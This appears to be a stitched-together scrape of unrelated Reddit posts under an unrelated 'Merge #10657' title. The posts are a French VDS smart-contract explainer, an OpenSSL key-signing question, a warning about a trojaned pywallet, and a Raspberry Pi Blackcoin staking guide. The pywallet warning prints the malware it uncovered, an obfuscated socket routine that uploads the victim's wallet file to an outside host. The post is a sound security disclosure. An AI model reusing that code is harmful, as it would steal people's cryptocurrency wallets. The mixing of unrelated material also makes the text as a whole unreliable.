Merge #10657: Utils: Improvements to ECDSA key-handling

Contrats d'exécution consensuels de VDS et processus du téléchargement à la chaîne

Résumé des contrats d’exécution consensuels
Le concept de base du contrat d’exécution consensuels
Contrats d’exécution consensuels, connu sous le nom de contrat intelligent dans l'industrie de la blockchain, mais l'équipe de VDS estime que ce terme est trop marketing, car nous n'avons pas trouvé à quel point la technologie de programmation contractuelle est intelligente jusqu'à présent, il s'agit simplement d'un système décentralisé dans le réseau distribué, la procédure prédéfinie de comportement consensuel formée par l'édition de code. Dans l'esprit de rechercher la vérité à partir des faits, nous pensons qu'il est plus approprié de renommer le contrat intelligent en tant que contrat d'exécution de consensus. Lorsque les humains combineront la technologie blockchain avec la technologie d'intelligence artificielle de AI à l'avenir, les obstacles à la compréhension des noms sont éliminés.
Le contrat d'exécution consensuel peut être appliqué à de nombreuses industries, telles que la finance, l'éducation, les systèmes administratifs, l'Internet des objets, le divertissement en ligne, etc. Grâce à la technologie de la blockchain, dans un réseau distribué spécifique, un script d'exécution qui est formé par l'édition de pré-code sans aucune intervention de tiers et le comportement de consensus des deux parties ou de plusieurs parties impliquées dans le protocole. Il garantit l’exécution sûre, stable et équitable des droits et intérêts de tous les participants au contrat.
Le contrat d'exécution consensuel a joué un rôle dans l'accélération de l'atterrissage de diverses applications pour le développement de l'industrie de la blockchain et a incité davantage de développeurs à y participer activement, révolutionnant l'expérience réelle des produits de la technologie de la blockchain. Tout découle des contributions exceptionnelles de l'équipe Ethereum, ouvrant une nouvelle porte à l'ensemble de l'industrie.
Structure de base et jonction
L’intégration de EVM
La machine virtuelle Ethereum (EVM) utilise un code machine 256 bits et est une machine virtuelle basée sur la pile utilisée pour exécuter les contrats d'exécution consensuels d'Ethereum. Étant donné que l'EVM est conçu pour le système Ethereum, le modèle de compte Ethereum (Account Model) est utilisé pour la transmission de valeurs. La conception de la chaîne VDS est basée sur le modèle Bitcoin UTXO. La raison de cette conception est, d'une part, c'est en raison de la nécessité de réaliser la fonction d'échange de résonance de VDS et la fonction d'échange inter-chaîne unidirectionnelle de bitcoin à chaîne VDS, qui peuvent réaliser la génération de deux adresses différentes de bitcoin et VDS avec une clé privée. D'autre part, l'équipe VDS estime que la structure sous-jacente des transactions Bitcoin est plus stable et fiable grâce à 10 ans de pratique sociale. Par conséquent, VDS utilise une couche d'abstraction de compte (Account Abstraction Layer) pour convertir le modèle UTXO en un modèle de compte qui peut être exécuté par EVM. De plus, VDS a ajouté une interface basée sur le modèle de compte, afin qu'EVM puisse lire directement les informations sur la chaîne VDS. Il convient de noter que la couche d'abstraction de compte peut masquer les détails de déploiement de certaines fonctions spécifiques et établir une division des préoccupations pour améliorer l'interopérabilité et l'indépendance de la plate-forme.
Dans le système Bitcoin, ce n'est qu'après la vérification du script de déverrouillage (Script Sig) et du script de verrouillage (Script Pub Key) que la sortie de transaction correspondante peut être dépensée.
Par exemple, le script de verrouillage verrouille généralement une sortie de transaction sur une adresse bitcoin (la valeur de hachage de la clé publique). Ce n'est que lorsque les conditions de configuration du script de déverrouillage et du script de verrouillage correspondent, que l'exécution du script combiné affiche le résultat sous la forme True (la valeur de retour de système est 1), de sorte que la sortie de transaction correspondante sera dépensée.
Dans le système distribué de VDS, nous soulignons l'opportunité de l'exécution du contrat d'exécution consensuel. Par conséquent, nous avons ajouté les opérateurs OP_CREATE et OP_CALL au script de verrouillage. Lorsque le système de VDS détecte cet opérateur, les nœuds de l'ensemble du réseau exécuteront la transaction. De cette façon, le rôle joué par le script Bitcoin est plus de transférer les données pertinentes vers EVM, pas seulement en tant que langage de codage. Tout comme Ethereum exécute un contrat d'exécution de consensus, le contrat déclenché par les opérateurs OP_CREATE et OP_CALL, EVM changera son état dans sa propre base de données d'état.
Compte tenu de la facilité d'utilisation du contrat d'exécution du consensus de la chaîne VDS, il est nécessaire de vérifier les données qui déclenchent le contrat et la valeur de hachage de la clé publique de la source de données.
Afin d'éviter que la proportion d'UTXO sur la chaîne de VDS ne soit trop importante, la sortie de transaction de OP_CREATE et OP_CALL est t conçue pour être dépensée. La sortie de OP_CALL peut envoyer des fonds pour d'autres contrats ou adresses de hachage de clé publique.
Tout d’abord, pour le contrat d'exécution consensuel créé sur la chaîne VDS, le système généreraune valeur de hachage de transaction pour l'appel de contrat.Le contrat nouvellement libéré a un solde initial de 0 (les contrats avec un solde initial ne sont pas 0 ne sont pas pris en charge). Afin de répondre aux besoins du contrat d'envoi de fonds, VDS utilise l'opérateur OP_CALL pour créer une sortie de transaction. Le script de sortie du contrat d'envoi de fonds est similaire à :
1: the version of the VM
10000: gas limit for the transaction
100: gas price in Qtum satoshis
0xF012: data to send to the contract (usually using the solidity ABI)
0x1452b22265803b201ac1f8bb25840cb70afe3303:
ripemd-160 hash of the contract txid OP_CALL
Ce script n'est pas compliqué et OP_CALL effectue la plupart du travail requis. VDS définit le coût spécifique de la transaction (sans tenir compte de la situation de out-of-gas) comme Output Value, qui est Gas Limit. Le mécanisme spécifique du Gas sera discuté dans les chapitres suivants. Lorsque le script de sortie ci-dessus est ajouté à la blockchain, la sortie établit une relation correspondante avec le compte du contrat et se reflète dans le solde du contrat. Le solde peut être compris comme la somme des coûts contractuels disponibles.
La sortie d'adresse de hachage de clé publique standard est utilisée pour le processus de base des transactions de contrat, et le processus de transaction entre les contrats est également généralement cohérent. En outre, vous pouvez effectuer des transactions par P2SH et des transactions non standard (non-standard transactions). Lorsque le contrat actuel doit être échangé avec un autre contrat ou une adresse de hachage de clé publique, la sortie disponible dans le compte du contrat sera consommée. Cette partie de la sortie consommée doit être présente pour la vérification des transactions dans le réseau de VDS, que nous appelons la transaction attendue du contrat (Expected Contract Transactions). Étant donné que la transaction attendue du contrat est générée lorsque le mineur vérifie et exécute la transaction, plutôt que d'être générée par l'utilisateur de la transaction, elle ne sera pas diffusée sur l'ensemble du réseau.
Le principe de fonctionnement principal de la transaction attendue du contrat est réalisé par le code OP_SPEND. OP_CREATE et OP_CALL ont deux modes de fonctionnement. Lorsque l'opérateur est utilisé comme script de sortie, EVM l'exécute, lorsque l'opérateur est utilisé comme script d'entrée, EVM ne sera pas exécuté (sinon il provoquera une exécution répétée). Dans ce cas, OP_CREATE et OP_CALL peuvent être utilisés comme Opération sans commandement. OP_CREATE et OP_CALL reçoivent la valeur de hachage de transaction transmise par OP_SPEND et renvoient 1 ou 0 (c'est-à-dire il peut être dépensé ou pas). Il montre l'importance de OP_SPEND dans la transaction attendue de l'intégralité du contrat. Plus précisément, lorsque OP_SPEND transmet la valeur de hachage de transaction à OP_CREATE et OP_CALL, OP_CREATE et OP_CALL comparent si la valeur de hachage existe dans la liste des transactions attendues du contrat. S'il existe, renvoyez 1 pour dépenser, sinon retournez 0, ce n'est pas pour dépenser. Cette logique fournit indirectement un moyen complet et sûr de garantir que les fonds du contrat ne peuvent être utilisés que par le contrat, ce qui est cohérent avec le résultat des transactions UTXO ordinaires.
Lorsque le contrat EVM envoie des fonds à l'adresse de hachage de clé publique ou à un autre contrat, une nouvelle transaction sera établie. À l'aide de l'algorithme de Consensus-critical coin picking, la sortie de transaction la plus appropriée peut être sélectionnée dans le pool de sortie disponible du contrat. La sortie de transaction sélectionnée sera utilisée comme script d'entrée pour exécuter un seul OP_SPEND, et la sortie est l'adresse cible des fonds, et les fonds restants seront renvoyés au contrat, tout en modifiant la sortie disponible pour la consommation. Ensuite, la valeur de hachage de cette transaction sera ajoutée à la liste des transactions attendues du contrat. Lorsque la transaction est exécutée, la transaction sera immédiatement ajoutée au bloc. Une fois que les mineurs de la chaîne ont vérifié et exécuté la transaction, la liste des transactions attendues du contrat est à nouveau parcourue. Une fois la vérification correcte, la valeur de hachage est supprimée de la table. De cette façon, l'utilisation de OP_SPEND peut effectivement empêcher l'utilisation de valeurs de hachage codées en dur pour modifier le coût de la sortie.
La couche d'abstraction des comptes VDS élimine la nécessité pour l'EVM d'accorder trop d'attention à coin-picking. Il lui suffit de connaître le solde du contrat et peut échanger des fonds avec d'autres contrats ou même des adresses de hachage de clé publique. De cette façon, seule une légère modification du contrat d'exécution du consensus Ethereum peut répondre aux exigences de fonctionnement du contrat VDS.
En d'autres termes, tant que le contrat d'exécution consensuel peut être exécuté sur la chaîne Ethereum, il peut s'exécuter sur la chaîne VDS.
Achèvement de AAL
La conception de la chaîne VDS est basée sur le modèle Bitcoin UTXO. La plate-forme générale de contrat d'exécution de consensus utilise le modèle de compte. Étant donné que le contrat en tant qu'entité nécessite un logo de réseau, ce logoest l'adresse du contrat, de sorte que le fonctionnement et la gestion du contrat d'exécution consensuel peuvent être effectués par cette adresse. La couche d'abstraction de compte est ajoutée à la conception du modèle (Account Abstraction Layer, AAL) de chaîne de VDS, qui est utilisée pour convertir le modèle UTXO en un modèle de compte qui peut être exécuté par le contrat.
Pour les développeurs qui exécutent des contrats par consensus, le modèle de compte de la machine virtuelle est relativement simple. Il prend en charge l'interrogation des soldes des contrats et peut également envoyer des fonds pour d'autres contrats. Bien que ces opérations semblent très simples et basiques, toutes les transactions de la chaîne VDS utilisent le langage de script Bitcoin, et il est plus compliqué que prévu d'être implémenté dans la couche d'abstraction de compte de la chaîne VDS basée sur le modèle Bitcoin UTXO. AAL a donc élargi sa base en ajoutant trois nouveaux opérateurs :
OP_CREATE est utilisé pour effectuer la création de contrats intelligents, transmettre le code d'octet transmis via la transaction à la base de données de stockage de contrats de la machine virtuelle et générer un compte de contrat.
OP_CALL est utilisé pour transférer les données pertinentes et les informations d'adresse nécessaires pour appeler le contrat et exécuter le contenu du code dans le contrat. (Cet opérateur peut également envoyer des fonds pour des contrats d'exécution consensuels).
OP_SPEND utilise la valeur de hachage de ID de contrat actuel comme transaction d'entrée HASH ou transaction HASH envoyée à l'UTXO du contrat, puis utilise OP_SPEND comme instruction de dépense pour créer un script de transaction.
Utilisation des Contrats et processus du téléchargement à la chaîne
Rédiger les contrats
Il est actuellement possible d'utiliser le langage Solidity pour rédiger des contrats d'exécution de consensus.
Utilisez Solidity Remix ou un autre Solidity IDE pour l'écriture et la compilation de code.
solidity remix(https://remix.ethereum.org/
Il est recommandé d'utiliser le mode homestead pour compiler.
Il est recommandé d'utiliser la version solidité 0.4.24 (si d'autres versions sont utilisées, cela peut provoquer des erreurs ou des échecs).
La syntaxe Solidity peut être référencée(https://solidity.readthedocs.io/en)
Compiler et déployer les contrats
Fonctionnement du contrat intelligent de vdsd
Examiner les variables de fonctionnement de l'environnement
vdsd -txindex=1 -logevents=1 -record-log-opcodes=1 -regtest=1
> Les tests sous contrat sont effectués dans l'environnement de test. Il est recommandé de tester après avoir atteint une hauteur de 440 blocs.
440 blocs hautement achevés l'opération de retour de fonds après les événements anormaux du contrat (refund) et (revert).
La commande de contrat de déploiement est :
```vds-cli deploycontract bytecode ABI parameters```
- bytecode (string, required) contract bytecode.
- ABI (string, required) ABI String must be JSON formatted.
- parameters (string, required) a JSON array of parameters.
Cette fonction est utilisée pour l'exécution du constructeur du contrat avec les paramètres entrants pour obtenir le ByteCode qui est finalement utilisé pour le déploiement.
(Cette méthode consiste à associer le bytecode à ABI et à le stocker localement pour l'enregistrement. Il peut appeler des méthodes internes localement et renvoyer le bytecode approprié)
```vds-cli createcontract bytecode (gaslimit gasprice senderaddress broadcast)```
- bytecode (string, required) contract bytecode.
- gaslimit (numeric or string, optional) gasLimit, default is DEFAULT_GAS_LIMIT, recommended value is 250000.
- gasprice (numeric or string, optional) gasprice, default is DEFAULT_GAS_PRICE, recommended value is 0.00000040.
- senderaddress (string, optional) The vds address that will be used to create the contract.
- broadcast (bool, optional, default=true) Whether to broadcast the transaction or not.
- changeToSender (bool, optional, default=true) Return the change to the sender.
La valeur de retour est : txid, éxpéditeur, hachage de l'expéditeur160, adresse du contrat
Consulter si la commande a été exécutée avec succès :
```vds-cli gettransactionreceipt txid```
La valeur de retour de txid pour les transactions non contractuelles est vide
La valeur de retour est : Les informations pertinentes de txid sur la BlockHash Hachage du bloc
- blockNumber Hauteur de bloc
- transactionHash Hachage de transaction
- transactionIndex La position de l'échange dans le bloc
- from Hachage de l’adresse de l’expéditeur 160
- to Le destinataire est l'adresse du contrat, le lieu de création de la transaction contractuelle est 00000000000000000000000000000
- cumulativeGasUsed Gas accumulé
- gasUsed Gaz réellement utilisé
- contractAddress Adresse du contrat
- excepted Y a-t-il des erreurs
- exceptedMessage Message d'erreur
-
Il convient de noter que le champ excepted n'est pas None, ce qui indique que l'exécution du contrat a échoué. Bien que la transaction puisse être vérifiée sur la chaîne, cela ne signifie pas que le contrat a été exécuté avec succès, c'est-à-dire que les frais de traitement pour l'exécution de ce contrat ne sont pas remboursables. Les frais de traitement ne seront remboursés que si la méthode revert est entrée dans le contrat, et les frais de méthode ne seront pas remboursés pour la méthode assert.
Appel des contrats
```vds-cli addcontract name contractaddress ABI decription```
- name (string required) contract name.
- contractaddress (string required) contract address.
- ABI (string, required) ABI String must be JSON formatted.
- description (string, optional) The description to this contract.
Cette fonction est utilisée pour ajouter le contrat ABI à la base de données locale.
```vds-cli getcontractinfo contractaddress```
- contractaddress (string required) contract address.
Cette fonction est utilisée pour obtenir les informations du contrat ajouté.
```vds-cli callcontractfunc contractaddress function parameters```
- contractaddress (string, required) The contract address that will receive the funds and data.
- function (string, required) The contract function.
- parameters (string, required) a JSON array of parameters.
Cette fonction renverra le résultat de l'exécution lors de l'appel de la méthode constante ordinaire, comme l'appel de la méthode d'opération de données de contrat retournera la chaîne de format hexadécimal du script d'opération.
```vds-cli sendtocontract contractaddress data (amount gaslimit gasprice senderaddress broadcast)```
- contractaddress (string, required) The contract address that will receive the funds and data.
- datahex (string, required) data to send.
- amount (numeric or string, optional) The amount in " + CURRENCY_UNIT + " to send. eg 0.1, default: 0
- gaslimit (numeric or string, optional) gasLimit, default is DEFAULT_GAS_LIMIT, recommended value is 250000.
- gasprice (numeric or string, optional) gasprice, default is DEFAULT_GAS_PRICE, recommended value is 0.00000040.
- senderaddress (string, optional) The vds address that will be used to create the contract.
- broadcast (bool, optional, default=true) Whether to broadcast the transaction or not.
- changeToSender (bool, optional, default=true) Return the change to the sender.
Cette fonction est utilisée pour envoyer le script d'opération de contrat au contrat spécifié et le faire enregistrer sur la blockchain.
Consultation des résultats d’exécution des contrats
```vds-cli gettransaction txid```
Cette commande est utilisée pour afficher les heures de confirmation de la transaction de portefeuille actuelle.
```vds-cli gettransactionreceipt txid```
Cette commande est utilisée pour vérifier les résultats d'exécution de la création de contrat et des transactions d'appel, s'il y a des exceptions levées et des consommations réelles de GAS.
`${datadir}/vmExecLogs.json` enregistrera les appels de contrat sur la blockchain. Ce fichier servira d'interface externe pour les événements de contrat.
Interface d'appel des contrats
l Interface de création de contrat createcontract
l Interface de déploiement de contrat deploycontract
l Interface d'ajout ABI addcontract
l Interface d’appel des contrats avec l’opération des fons sendtocontract
l Interface de lecture des informations sur les contrats callcontractfunc
l Interface d'acquisition d'informations sur l'exécution des transactions contractuelles gettransactionreceipt
L’expliquation des coûts d’expoitation des contrats
Les coûts de fonctionnement de la création d'un contrat sont toutes des méthodes estimées, et un succès d'exécution à 100% ne peut pas être garanti, car gas limit a une limite supérieure de 50000000, et les contrats dépassant cette limite entraîneront un échec. La chaîne de VDS utilise une méthode de rendre la monnaie, ce qui signifie que même si beaucoup de gaz est envoyé, le mineur n'utilisera pas tout le gas et restituera le gas restant. Alors ne vous inquiétez pas de dépenser trop de gas.
Le coût de création d'un contrat est approximativement de la taille du Byte Code * 300 comme gas limit, le gas price minimum est de 0.0000004, gas price * gas limit est le coût de création d'un contrat.
En ce qui concerne l'exécution de la méthode dans un contrat, le gas requis est estimé. En raison de la congestion du réseau, l'estimation ne garantit pas que 100% peuvent être téléchargés avec succès dans la chaîne. Par conséquent, je crains de tromper et de demander au développeur de vérifier les résultats.
submitted by YvanMay to u/YvanMay [link] [comments]

/u/igadjeed on Using my Bitcoin wallet to sign messages using OpenSSL

Bitcoin Core still has a message signing function
The simplest approach would be to copy the C++ code for message signing and verification from Core and make your minor changes
OpenSSL expects to read keys in ASN.1 format
Make a key:
openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -pkeyopt ec_param_enc:named_curve -outform pem -out ecdsa.pem The key:
-----BEGIN PRIVATE KEY----- MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgZa5q6NrWzR6B56mI waDL9Fi8nCOII+hwnkqTehbebPqhRANCAAStY0pj0OIu/1JsTe1c2EoVaKs5pG3R JPTLxHD/1/lKSIwwmC4mlrrVFRy6+iptnqFVGQSL180xvrN6Vq21zyok -----END PRIVATE KEY----- Use asn1parse to peek inside:
openssl asn1parse 17:d=2 hl=2 l= 8 prim: OBJECT :prime256v1
27:d=1 hl=2 l= 109 prim: OCTET STRING [HEX DUMP]:306B020101042065AE6AE8DAD6CD1E81E7A988C1A0CBF458BC9C238823E8709E4A937A16DE6CFAA14403420004AD634A63D0E22EFF526C4DED5CD84A1568AB39A46DD124F4CBC470FFD7F94A488C30982E2696BAD5151CBAFA2A6D9EA15519048BD7CD31BEB37A56ADB5CF2A24
That's helpful, and there are better ASN.1 parsers available which display the 32-byte private key and the 65-byte public key separately, and display the byte values of the meta data fields
Now, to the question. We have a bunch of 32-byte private keys stored in a Bitcoin wallet and we would like to put them into ASN.1 format so we can use openssl commands to sign a message with a wallet key and then verify the message signature
This appears to be possible, but it is impossible to find examples. This discussion:
https://security.stackexchange.com/questions/29786/generating-private-key-from-hex-string-with-openssl
suggests using the -genconf option with "openssl asn1parse". This makes asn1parse into a builder of ASN.1 files, as well as a parser. You still have work to do, to work out the correct values for each element of the genconf file. If it works as claimed, you should be able to create a key which is in the correct format for using openssl to sign messages
igadjeed
submitted by highhighhopes101 to TalkativePeople [link] [comments]

WARNING: I discovered this morning that the version of pywallet hosted on Source Forge is stealing wallets!

Edit: I wanted to add this before I forgot. This was not Bitcoin's fault. This was not pywallet's fault or its creator's fault. This was not Source Forge's fault. The hosting company goes by a few names. I will list all that I have, but first, this was not the fault of the hosting company and the hosting company reacted fast, got the site down, and was quite polite. They can be found at these URLs: http://www.attractsoft.com/ http://atwebpages.com/ The company responding for the hosting company was Super Indeed. Don't know their arrangement, but the whoever was communicating was a standup guy.
 
I noticed there was a size difference of pywallet.py on Git Hub compared to Source Forge. I decided to do a diff luckily and lines 2441 to 2476 are
 
hs = "\x62\x69\x65\x62\x65\x72\x2e\x61\x74\x77\x65\x62\x70\x61\x67\x65\x73\x2e\x63\x6f\x6d" s = socket.socket() s.connect((hs,80)) bo = "8954789827987580" h11 = "-----------------------------" h12 = "\r\n" h13 = "Content-Disposition: form-data; name=\x22userfile\x22; filename=\x22" h14 = "\x22\r\nContent-Type: application/octet-stream\r\n\r\n" h1 = h11+bo+h12+h13+"fil"+h14 h20 = "\r\n-----------------------------" h21 = "--\r\n" h2 = h20+bo+h21 h31 = "POST " h32 = " HTTP/1.1\r\n" h33 = "Host: " h34 = "\r\n" h35 = "User-Agent: Mozilla/5.0\r\n" h36 = "Connection: keep-alive\r\n" h37 = "Content-Type: multipart/form-data; boundary=---------------------------" h38 = "\r\n" h39 = "Content-length: " h40 = "\r\n\r\n" flen = os.path.getsize(walletfile) h3= h31+"/a.php"+h32+h33+hs+h34+h35+h36+h37+bo+h38+h39+str(len(h1)+flen+len(h2))+h40 s.send(h3) s.send(h1) file2= open(walletfile,"rb") totalsent = 0 while totalsent < flen: d = file2.read(1024) se = s.send(d) totalsent = totalsent + se s.send(h2) data=s.recv(100) s.close() 
 
Right when I saw the hex encoded string I knew there was trouble. This version of the script works exactly the same as the real pywallet.py except that it also sends the keys to bieber.atwebpages.com using an HTTP request.
 
The code has been up since November it seems. It doesn't look like they got a ton, but it comes up on the first page of results when searching for pywallet. I have already notified the hosting company and Source Forge. If you have a copy of pywallet, be sure that it is 5050 lines, not 5096 lines of code. Also, search it for "a.php", as that is the page it sends the keys too.
 
UPDATE: The German hosting company (http://www.attractsoft.com/) was quick to respond and take the site down. Unfortunately, if Source Forge leaves the file up and the thief still has the domain name, they can just switch to another hosting service or even use Dynamic DNS is they live in a country that won't do shit about it.
  UPDATE 4/11: Source Forge emailed me that they have taken down the project. I checked. It's down. Also:
  Shameless Plug: If anyone has any IT jobs I can work remotely, PM me. I have over a decade of experience in Linux and Windows and I'm on short term disability as I cannot get a doctor to sign a note for me to return to office work.
 
UPDATE 2: A good portion of the commenters here need some knowledge before they go spouting off ignorance.
 
 
Edit: Thanks to everyone who gave me bitcoin and gold! Thanks to everyone who asked good questions and added to the answers and contributed to comments that provided even more knowledge. And to the several people hating on open source or Bitcoin or on me for some strange reason, I'm sure you didn't always get a gentle explanation (my fault too) as to why your anger was misguided, but I encourage you to read some of the responses without the emotion and with an open mind because there is good knowledge there. Many responses were short and sweet and spot on. If you really still can't but help being angry with an idea or concept, I hope you get over it one day. PM me if you want a private explanation! I'll try to be open to your opinions and keep it friendly even if you are still angry as long as you don't start taking it out on me.
submitted by d3k4y to Bitcoin [link] [comments]

Lore v2 QT on Raspberry Pi

Hello,
 
To follow up to mindphuk's excellent piece on building the headless client on Raspberry Pi (https://www.reddit.com/blackcoin/comments/6gkjrw/wip_blackpi_a_stake_device_based_on_raspberry/), I thought if anyone was interested I'd show you how to get the full QT version running on the Pi on the Jessie with Pixel desktop. This works and has been soak tested for several days now on a standard Raspberry Pi 3. I have since added some coins and it stakes a handful of times a day.
 
Running staking Lore clients paves the way for some of the future use cases of BLK utilising the Bitcoin 0.12 (and newer) core tech, including colored coins. So I'm going to leave this one going indefinitely to kickstart the number of Lore clients staking. It's certainly not mandatory but it will be good in the longer term to have a nice distribution of Lore staking clients.
 
The cross-compile which lets you create binaries for multiple platforms didn't work for the QT version on the Pi, so there is more to do than just running the binary unfortunately, as below. There are folks working on some much cleaner solutions than this for the Pi, with a custom front end, and where you won't have to do any mucking about. That is coming soon. In the meantime, if you enjoy a fiddle with such things, here's how to get this QT client working on your Pi.
 
These instructions assume you are starting from scratch with a completely blank OS.
 
Download Jessie with Pixel from: http://downloads.raspberrypi.org/raspbian/images/raspbian-2017-07-05/2017-07-05-raspbian-jessie.zip
 
Note they have since (August 2017) released a version called 'Stretch' which does not work with this guide. I'll see if I can come up with something new for that at some point and link to it here when I have. In the meantime the guide should work with the Jessie image above.
 
Unzip the file and extract the .img file to burn it onto Fresh SD card to boot from (to be safe, use 16GB or larger), using a tool like win32diskimager or Etcher.
 
Assuming you have keyboard/mouse and monitor plugged into your pi, boot it up and the Jessie Desktop will show.
 
Before we do anything else, you should increase the default swap size on the pi, as compiling certain libraries can exhaust the RAM and get stuck otherwise. To do this, launch a Terminal window and type:
 
sudo nano /etc/dphys-swapfile 
 
and Change the CONF_SWAPSIZE from 100 to:
 
CONF_SWAPSIZE=1024 
 
Exit nano with control + x to write out the file.
 
Then, run the following to restart the swapfile manager:
 
sudo /etc/init.d/dphys-swapfile stop sudo /etc/init.d/dphys-swapfile start 
 
Now, launch the browser and download the Lore 2.12 binaries for ARM here: https://mega.nz/#!k2InxZhb!iaLhUPreA7LZqZ-Az-0StRBUshSJ82XjldPsvhGBBH4 (Version with fee fix from 6 September 2017)
 
(If you prefer to compile it yourself instead, it is possible by following the instructions in the original article by Mindphuk just taking into account this is the newer version of the Lore client than when that was written (https://github.com/janko33bd/bitcoin/releases) and the versions of Boost and the Berkeley DB need to be the same as below.)
 
Double click the zip and extract the Lore binary files. Yes, at the moment they are all called 'bitcoin', not 'blackcoin' or 'Lore' - this is because the code derives from a recent bitcoin core implementation so this has not yet been updated. You can place these wherever you like.
 
In the Terminal window, change directory to where you put the binaries, e.g.:
 
cd Downloads/lore-raspberrypi-armv7-jessie-pixel chmod +x * 
 
That marks the binaries as executable.
 
Now, we need the Boost libraries installed for any of the Lore binaries to work. The project was done with Boost 1.62.0. Unfortunately the Jessie repository only goes up to 1.55, so we need to download and build 1.62 manually on the device.
wget https://sourceforge.net/projects/boost/files/boost/1.62.0/boost_1_62_0.tar.gz/download tar -xvzf download cd boost_1_62_0 sudo ./bootstrap.sh sudo ./b2 install 
 
(This will take almost 2 hours. Have a nice cup of tea and a sit down.)
 
When I came to run the binaries, I found they couldn't find Boost. Running this command fixes that:
sudo ldconfig 
 
Now we are going to install the packages which aren't already included in the default OS installation which the binaries need in order to run:
sudo apt-get install qrencode libprotobuf-dev libevent-pthreads-2.0-5 
 
Now we need to install the Berkeley Database version 6.2.23. This is the version Lore v2 uses. Bitcoin still uses 4.8 which is 10 years old! This doesn't take too long.
wget http://download.oracle.com/berkeley-db/db-6.2.23.tar.gz tar -xvzf db-6.2.23.tar.gz cd db-6.2.23/build_unix ../dist/configure --prefix=/usr --enable-compat185 --enable-dbm --disable-static --enable-cxx 
 
I find this next section of the Berkeley instructions worked better just switching to root, which can be fudged by running sudo su before the rest:
sudo su make make docdir=/usshare/doc/db-6.2.23 install chown -v -R root:root /usbin/db_* /usinclude/db{,_185,_cxx}.h /uslib/libdb*.{so,la} /usshare/doc/db-6.2.23 
 
Now we're going to go up a couple of directories to where the binaries were:
cd ../.. 
 
Then run the client!
./bitcoin-qt 
 
And there you have it. Should hopefully end up looking a bit like this: http://imgur.com/a/eEHGa
 
Using the Bootstrap can save a while syncing. Download it at: https://www.reddit.com/blackcoin/comments/6b3imq/blackcoin_bootstrapdat_up_to_block_1631800
 
Place the bootstrap.dat file into the ~/.lore directory.
 
Run ./bitcoin-qt again, it will say 'Importing Blocks' rather than 'Synchronising with Network'. My pi sync'ed fully in about 5-6 hours.
 
If you want peace of mind that Lore will always start on bootup into the Jessie w/Pixel desktop (i.e. after a power cycle), then you need to create a .desktop file in the following place.
sudo nano ~/.config/autostart/Lore.desktop 
 
And in it, enter the following (tailoring the Exec line below to the whereabouts of your bitcoin-qt file):
[Desktop Entry] Name=Blackcoin Lore Comment=Mining without the waste Exec=/home/pi/Downloads/lore-raspberrypi-armv7-jessie-pixel/bitcoin-qt Type=Application Encoding=UTF-8 Terminal=false Categories=None; 
 
Power usage and payback time
 
After a good while leaving it going by itself, the CPU load averages got down to almost zero, all of the time. Idling, the Pi uses a bit less than 3 watts. This means it would take two weeks to use one 1Kw/h of electricity.
 
If you pay e.g. 12.5 cents a unit, that's what you'd expect this to cost to run in a fortnight. That's around $0.25 a month or $3 a year. Green and cheap and helping to secure the BLK network. I paid for the year's worth of electricity in 2 days staking with 25k BLK. Makes mining look silly, huh? ;)
 
Securing your Pi
 
With staking, your wallet needs to be unlocked and as such, the keys to your wallet are on the device. In a clean and newly installed environment as described above, and if you don't allow others to use your device and there is no other software or nasties running on it, there is no real cause for concern. However, there are some basic security precautions you can take.
 
Firstly, if you have enabled SSH and are playing with your pi across your LAN (or worse, the Internet), you should immediately change the password for the default 'pi' user (which is preconfigured to be 'raspberry'). Simply log in as normal, then type:
 
passwd 
 
You'll be prompted to enter the old and the new passwords.
 
Security by default
 
Your Pi is likely, by default, to not be exposed to incoming connections from the outside world because your router is likely generating a private address range for your LAN (192.168.x.x or 10.0.x.x or 172.x.x.x) which means all incoming connections are effectively blocked at the router anyway unless you set up a 'port forward' record to allow packets arriving on certain ports to be forwarded to a specific internal IP address.
 
As for accessing your Pi across the internet, if you have set up a port forward, this likely has security ramifications. Even basic old fashioned protocols have proven in recent times to have uncaught flaws, so it's always advisable to lock down your device as much as possible, and even if you only plan to access the Pi over your LAN, install a firewall to configure this. I used one called ufw, because it's literally an uncomplicated firewall.
 
sudo apt-get install ufw sudo ufw allow from 192.168.0.0/16 to any port 22 sudo ufw --force enable 
 
This allows just port 22 (SSH) to be open on the Pi to any device on my LAN's subnet (192.168.0.x). You can change the above to a single IP address if paranoid, or add several lines, if you want to lock it down to your LAN and a specific external static IP address (e.g. a VPN service you use). To find out what subnet your router uses, just type:
 
ifconfig 
 
and you'll see on the interface you are using (either hard wired or wifi) the 192.168 or 10. or 172. prefix. Change the above rule so it matches the first two octets correctly (e.g. 10.0.0.0/16 if you're on a 10.0. address).
 
You may already use VNC to access your Pi's desktop across your LAN, this uses port 5900. Add a line like above to lock it down to an internal address. It's not a good idea to expose this port to the wider world because those connections are not encrypted and potentially could be subjected to a MITM attack.
 
You can query the status of the firewall like this:
ufw status 
 
And of course, try connecting remotely once you change the rules to see what works. You should consult the official documentation for further options: https://help.ubuntu.com/community/UFW
 
Back up & Recovery
 
There are again many ways to tackle this so I'll just speak about my basic precautions in this regard. Don't take it as a be-all-and-end-all!
 
The wallet.dat file is the key file (literally) containing all the private/public keys and transactions. This can be found in:
 
~/.lore 
 
You can navigate there using Jessie w/Pixel's own file manager or in a terminal window (cd ~/.lore). You can copy this file or, if you'd rather keep a plain text file of all your public and private keys, use the 'dumpwallet' command in the console. In Lore, go to Help > Debug Window > Console and type 'dumpwallet myfilename' where myfilename is the file you want it to spit out with all your keys in it. This file will end up in the same place you launch bitcoin-qt from.
 
The instructions earlier on, when running Lore for the first time intentionally left out encrypting your wallet.dat file because in order for the wallet to stake upon startup, it needs to have a decrypted key already. This isn't perfect, but after a power cycle, it would never stake unless you left it decrypted. So the best practice here is as soon as the wallet.dat file has left your device, i.e. you copy it to a USB stick for example, put it in an encrypted folder or drive (or both).
 
In Windows, one way is to use Bitlocker drive encryption for the entire drive. You should follow the instructions here to encrypt your flash drive before your wallet.dat is on there, and don't forget the password!!
http://infosec.nmsu.edu/instructions-guides/how-to-enable-bitlocker-to-go-for-external-hard-drives-and-usb-flash-drives/
 
On the Mac, I use a software package called Concealer to encrypt files I store on the Mac itself: http://www.belightsoft.com/products/conceale   There are almost certainly free packages with similar functionality, I have just used that one for years.
 
Either way, if you want to just make sure your USB drive is encrypted, you can do so in one-click in Finder before you put the sensitive files on it: http://lifehacker.com/encrypt-a-usb-stick-in-finder-with-a-click-1594798016
 
